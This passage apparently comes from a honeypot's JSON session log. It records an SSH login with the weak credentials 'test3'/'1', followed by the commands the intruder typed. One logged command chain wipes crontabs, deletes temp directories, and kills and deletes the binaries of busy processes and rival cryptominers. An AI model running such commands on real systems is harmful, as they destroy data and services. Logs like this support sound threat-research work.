$1}'"},{"seq":24,"at":"2026-08-20T10:06:14.781175+00:00","kind":"output","latency_ms":520,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-20T10:06:15.236073+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-20T10:06:15.408772+00:00","kind":"input","latency_ms":null,"data":"echo 1 > /tmp/d.log"}],"credentials":[{"username":"test3","password":"1","method":"password","accepted":true,"tier":"other"}]}